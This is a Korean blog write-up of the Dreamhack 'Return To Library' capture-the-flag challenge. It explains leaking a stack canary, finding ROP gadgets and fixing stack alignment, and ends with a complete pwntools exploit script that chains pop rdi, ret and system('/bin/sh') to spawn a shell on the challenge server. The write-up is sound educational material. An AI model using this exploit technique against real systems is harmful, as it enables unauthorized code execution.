[Dreamhack] Return To Library Writeup

2025. 8. 12. 17:55·포너블

이 문제는 NX가 적용되어 있는 실행 파일에서 라이브러리에는 실행 권한이 존재한다는 취약점을 활용해 익스폴로잇하는 문제이다.

 

문제 파일에 있던 C언어 코드는 아래와 같다.

// Name: rtl.c
// Compile: gcc -o rtl rtl.c -fno-PIE -no-pie

#include <stdio.h>
#include <unistd.h>

const char* binsh = "/bin/sh";

int main() {
  char buf[0x30];

  setvbuf(stdin, 0, _IONBF, 0);
  setvbuf(stdout, 0, _IONBF, 0);

  // Add system function to plt's entry
  system("echo 'system@plt'");

  // Leak canary
  printf("[1] Leak Canary\n");
  printf("Buf: ");
  read(0, buf, 0x100);
  printf("Buf: %s\n", buf);

  // Overwrite return address
  printf("[2] Overwrite return address\n");
  printf("Buf: ");
  read(0, buf, 0x100);

  return 0;
}

 

위 코드에서 플래그를 가져오려면 먼저 카나리 값을 가져와야 한다. 카나리 값을 가져오는 법은 간단히 첫 카나리 값(널 바이트)까지 오버플로우로 덮어버린 다음 버퍼가 출력되었을 때 같이 출력된 카나리 값만 가져와 얻을 수 있다. 카나리를 얻었으면 반환 주소를 조작할 수 있다.

 

그러나 이 문제는 NX 처리가 되어 있으므로 쉘 코드를 스택에 직접 집어 넣을 순 없다. 여기서 우린 RTL 취약점을 사용하여 이 문제를 해결해야 한다.

 

RTL로 익스플로잇 하려면 반환 주소를 system 주소로 조작해야 한다. 그러나 system 함수는 인자 값이 필요하다. x64 리눅스 환경에서는 첫 번째 인자 값을 받을 때 rdi 레지스터를 사용한다. 그러므로 system 함수로 이동하기 전 rdi 레지스터에 "/bin/sh" 문자열을 저장해야 한다.

 

ROP Gadget

이 때 ROP Gadget을 사용하여 rdi 레지스터에 값을 넣을 수 있다. ROP Gadget이란 단순히 프로그램 내에 존재하는 여러 ret 문의 주소를 가져와서 반환시킨 후 다음 스택 반환 주소로 이동하게 해주는 기법이다. 예를 들어 pwntools를 설치하면 같이 설치되는 ROPgadget 명령어를 아래와 같이 실행시키면 pop과 ret이 포함된 명령어 주소를 출력해준다.

 

❯ ROPgadget --binary ./rtl --only "pop|ret"
Gadgets information
============================================================
0x000000000040084c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040084e : pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400850 : pop r14 ; pop r15 ; ret
0x0000000000400852 : pop r15 ; ret
0x000000000040084b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040084f : pop rbp ; pop r14 ; pop r15 ; ret
0x0000000000400678 : pop rbp ; ret
0x0000000000400853 : pop rdi ; ret
0x0000000000400851 : pop rsi ; pop r15 ; ret
0x000000000040084d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400596 : ret

Unique gadgets found: 11

 

이 많은 명령어 주소 중 우리가 필요한 것은 pop rdi; ret 이다. 이 명령어 구문을 사용하면 [rsp + 8] 값을 rdi에 저장하면서 [rsp + 16] 값에 있는 주소로 반환시킬 수 있다.

 

그러나 이를 활용하여 system 함수로 반환시켜도 Stack Alignment라는 문제가 발생할 것이다.

 

Stack Alignment

Stack Alignment란 간단히 말해 성능 향상과 예외 발생 방지를 위해서 함수를 실행시키 전에 rsp 값이 16 바이트 정렬이 되어 있어야 하는 규약이다. 

 

원래 일반적으로 함수를 실행했을 때는 call 명령어를 사용하여 실행한다. call 명령어를 사용하면 스택에 자동적으로 반환 주소가 push 된다. 이 때 반환 주소가 push 되면 rsp는 [rsp % 16 == 8] 일텐데 또 이후에 처리되는 이전 rbp 주소를 push 하면 [rsp % 16 == 0]이 된다. 그러므로 함수에 있는 지역 변수를 16바이트 정렬된 상태로 쉽게 접근할 수 있기 때문에 특정 명령어와 컴파일러가 이 규약을 철저히 지키는 것이다.

 

그러므로 우리는 함수가 실행되기 전의 반환 주소가 있는 스택 주소를 [rsp % 16 == 8]로 정렬해야 한다. 16 바이트를 정렬하는 방법 중 하나는 ROPgadget을 활용하여 또 다른 ret 문을 찾은 후 그 ret 문을 넣고 그 다음에 system 함수로 가는 주소를 넣는 것이다.

 

이러면 16바이트로 정렬이 되기 때문에 Stack Alignment 규약에도 준수할 수 있게 한다.

 

 

이제 Stack Alignment를 해결하고 나서 system 함수를 호출하면 또 에러가 날 확률이 크다. 만약 에러가 났다면 인자 문제일 것이다. 내가 발생했던 인자 에러는 binsh 상수의 주소 값을 그대로 넣어서 생긴 오류였다.

 

이게 무슨 말이냐면 binsh는 "/bin/sh" 문자열을 가리키는 포인터다. 즉 binsh의 주소를 넘기면 그 주소의 값이 문자열이 아니라 가리키는 주소이므로 system이 정상적으로 실행될 수 없다.

 

그러므로 이를 해결하기 위해서 elf.search를 활용해 직접 문자열의 주소를 넣어주면 된다.

 

이러면 정상적으로 쉘을 해결할 수 있다.

 

from pwn import *

context.log_level = "debug"
context.arch = "amd64"

# p = process("./rtl")
p = remote("host8.dreamhack.games", 20428)
elf = ELF("./rtl")

payload_1 = b"A" * 57

# pause()
p.sendafter("Buf: ", payload_1)

canary = p.recvline()[5 + 57:5 + 57 + 8]
canary = b'\x00' + canary[:-1]
print(canary)

c = u64(canary)
print(f"Canary : {hex(c)}")

# print(hex(elf.plt["system"]))
# elf.symbols["binsh"]
payload_2 = b"A" * 56 + canary + b"B" * 8 + p64(int("0x0000000000400853", 16)) + p64(next(elf.search(b"/bin/sh\x00"))) + p64(int("0x0000000000400596", 16)) + p64(elf.plt["system"])

p.sendafter("Buf: ", payload_2)

p.interactive()
# p.close()

 

'포너블' 카테고리의 다른 글

[Layer7] Pwnable 3차시 문제 풀이  (0) 2025.10.28
'포너블' 카테고리의 다른 글
  • [Layer7] Pwnable 3차시 문제 풀이
Lambda
Lambda
집 가고 싶다.
  • Lambda
    Lambda's Notebook
    Lambda
  • 전체
    오늘
    어제
    • 분류 전체보기 (40)
      • 포너블 (2)
      • 과제 (17)
      • 정리 (16)
      • 리버싱 (1)
      • 리눅스 (1)
  • 블로그 메뉴

    • 홈
    • 태그
    • 방명록
  • 링크

  • 공지사항

  • 인기 글

  • 태그

  • 최근 댓글

  • 최근 글

  • hELLO· Designed By정상우.v4.10.3
Lambda
[Dreamhack] Return To Library Writeup
상단으로

티스토리툴바